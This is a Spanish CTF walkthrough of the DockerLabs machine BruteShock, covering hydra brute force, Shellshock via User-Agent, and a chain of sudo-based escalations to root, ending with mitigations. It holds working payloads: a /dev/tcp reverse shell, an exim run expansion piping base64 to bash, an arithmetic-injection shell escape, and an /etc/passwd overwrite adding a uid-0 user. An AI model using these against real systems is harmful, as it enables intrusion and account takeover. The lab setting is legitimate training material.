BruteShock
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina BruteShock, desarrollada por maciiii___ para la plataforma DockerLabs, clasificada con una dificultad Media.
El laboratorio expone una aplicación web que, tras un ataque de fuerza bruta, permite acceder a un endpoint vulnerable a Shellshock (CVE-2014-6271). A partir de esta vulnerabilidad, se obtiene ejecución remota de comandos como el usuario www-data.
Tras el acceso inicial, se encadenan múltiples configuraciones inseguras de sudo, permitiendo la ejecución de binarios como otros usuarios sin autenticación adicional, así como el craqueo de hashes de contraseña y el abuso de scripts con sanitización deficiente, facilitando una escalada de privilegios progresiva hasta obtener acceso completo como root.
Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | BruteShock |
| Autor | maciiii___ |
| Dificultad | Medio |
| Fecha | 12/07/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip BruteShock.zipsudo bash auto_deploy.sh BruteShock.tarUna vez iniciado el contenedor, se asigna la dirección IP correspondiente.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:
mkdir -p BruteShock/{content,exploits,nmap,scripts}cd BruteShockPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsEl resultado muestra los siguientes servicios accesibles externamente:
- 80/tcp — HTTP

1.2 Enumeración web
Sección titulada «1.2 Enumeración web»Se procede a realizar fuzzing de rutas y archivos:
feroxbuster -u http://172.17.0.2 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404Durante la enumeración solo se identificó el index, que redirige a un login:
- Index: redirige automáticamente al formulario de autenticación.

Paso 2 — Explotación (acceso inicial)
Sección titulada «Paso 2 — Explotación (acceso inicial)»Dado que el único vector de ataque aparente es un login simple, se intentaron distintos tipos de inyecciones sin obtener resultados. Por lo tanto, se procede a realizar un ataque de fuerza bruta:
hydra -l admin -P passwords.txt 172.17.0.2 http-post-form "/:username=^USER^&password=^PASS^:H=Cookie:PHPSESSID=8ehi7afsn6bsuvem2qurqk822q:F=Credenciales incorrectas" -t 64 -I -fEsto arroja resultados positivos:

Con las credenciales obtenidas, nos logeamos. Después de esto, observamos otro login en el endpoint pruebasUltrasecretas, el cual parece ser similar al de Google:

Este aparentemente presenta un error visible en la web: “User-Agent almacenado en el log”. Por el nombre del endpoint y el mensaje, podría tratarse de un ataque Shellshock (CVE-2014-6271).
Al probar el ataque de la manera más sencilla, no observamos ninguna respuesta. Sin embargo, al usar el comando sleep:
curl 'http://172.17.0.2/pruebasUltraSecretas/' -H 'User-Agent: () { :;}; echo; sleep 5' | tailIdentificamos que funciona. A continuación, tratamos de entablar una reverse shell. Primero activamos el listener en nuestro host:
nc -nlvp 443Ahora hacemos la petición a la máquina víctima:
curl 'http://172.17.0.2/pruebasUltraSecretas/' -H 'User-Agent: () { :;}; echo; /bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/443 0>&1"' | tailY obtenemos una reverse shell:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → darksblack
Sección titulada «3.1 De www-data → darksblack»Buscando entre las formas más comunes de escalar privilegios, no notamos ninguna destacada. Por ello, se realiza una búsqueda en profundidad, donde se encuentra el archivo /var/backups/darksblack/.darksblack.txt, el cual es un extracto del /etc/shadow perteneciente a dicho usuario. Lo guardamos en nuestro host con el nombre shadow.
A continuación, copiamos la sección del usuario correspondiente del /etc/passwd y la guardamos en nuestra máquina con el nombre passwd. Ahora, en nuestro host:
unshadow passwd hash > data.txtIntentamos romper ese hash con John:
john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt data.txtObtenemos resultados positivos:

Teniendo el usuario darksblack y su contraseña, podemos hacer su darksblack.
3.2 De darksblack → maci
Sección titulada «3.2 De darksblack → maci»Revisamos los permisos con sudo -l:

Esto nos indica que podemos ejecutar el script /home/maci/script.sh como el usuario maci.
Contenido del script:
#!/bin/bash
read -rp "Adivina: " num
if [[ $num -eq 123123 ]]then echo "Si"else echo "ERROR"fiAl revisarlo a fondo, no tenemos permisos para modificarlo, pero pide un input del usuario sin ningún tipo de sanitización. Por lo tanto, podemos escalar privilegios fácilmente:
sudo -u maci /home/maci/script.sh
Adivina: test[$(/bin/bash -p >&2)]
3.3 De maci → pepe
Sección titulada «3.3 De maci → pepe»Se revisan los privilegios con sudo -l:

El usuario puede ejecutar exim con privilegios del usuario pepe. Por lo investigado, debemos entablar otra reverse shell. Activamos el listener nuevamente y en la máquina víctima ejecutamos:
sudo -u pepe /usr/sbin/exim -be '${run{/bin/bash -c "echo PayloadBase64 | base64 -d | bash"}}'Obtenemos acceso como el usuario pepe.
3.4 De pepe → root
Sección titulada «3.4 De pepe → root»Se revisan los privilegios con sudo -l:

Se procede de la siguiente manera:
- Se copia el archivo
/etc/passwda uno temporal. - Se crea el hash de una contraseña (a elección) usando
openssl. - Se comprueba y copia la línea asociada a los datos del usuario
root. - Se añade esta línea al final del archivo temporal, sustituyendo el nombre de
rootpor otro cualquiera y laxpor el hash generado. - Se sustituye en el archivo original el contenido del archivo temporal aprovechando los privilegios encontrados.
cp /etc/passwd /tmp/passwdhead -n 1 /tmp/passwdopenssl passwd <password>echo 'root2:<HASH>:0:0:root:/root:/bin/bash' >> /tmp/passwd
sudo -u root /usr/bin/dos2unix -f -n "/tmp/passwd" "/etc/passwd"
su - root2chown root:root /etc/passwdchmod 644 /etc/passwdCon esto se ha obtenido un usuario con privilegios root.
Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Login sin protección contra fuerza bruta | Media | Obtención de credenciales por diccionario |
Endpoint pruebasUltrasecretas vulnerable a Shellshock (CVE-2014-6271) | Crítica | Ejecución remota de comandos como www-data |
Almacenamiento de extracto de /etc/shadow en /var/backups/ | Alta | Craqueo de contraseñas y acceso al usuario darksblack |
Script con validación de input insuficiente (read sin sanitización) | Alta | Escalada a maci mediante inyección de comandos |
sudo para exim sin restricciones | Crítica | Escalada a pepe mediante ejecución arbitraria |
sudo para dos2unix sobre /etc/passwd | Crítica | Modificación del archivo de autenticación y creación de usuario root |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Implementar un sistema de autenticación con límite de intentos y CAPTCHA para prevenir ataques de fuerza bruta.
- Actualizar o parchear el software vulnerable a Shellshock, especialmente versiones antiguas de Bash.
- Evitar almacenar copias de archivos sensibles como
/etc/shadowen directorios accesibles. - Sanitizar siempre las entradas de usuario, incluso en scripts internos.
- Aplicar el principio de mínimo privilegio en configuraciones
sudo, restringiendo comandos y parámetros específicos en lugar de permitir ejecución completa. - Auditar periódicamente los binarios con permisos
sudoy los archivos críticos del sistema. das descripciones más claras** en cada paso sin modificar el formato original (códigos, imágenes, estructura).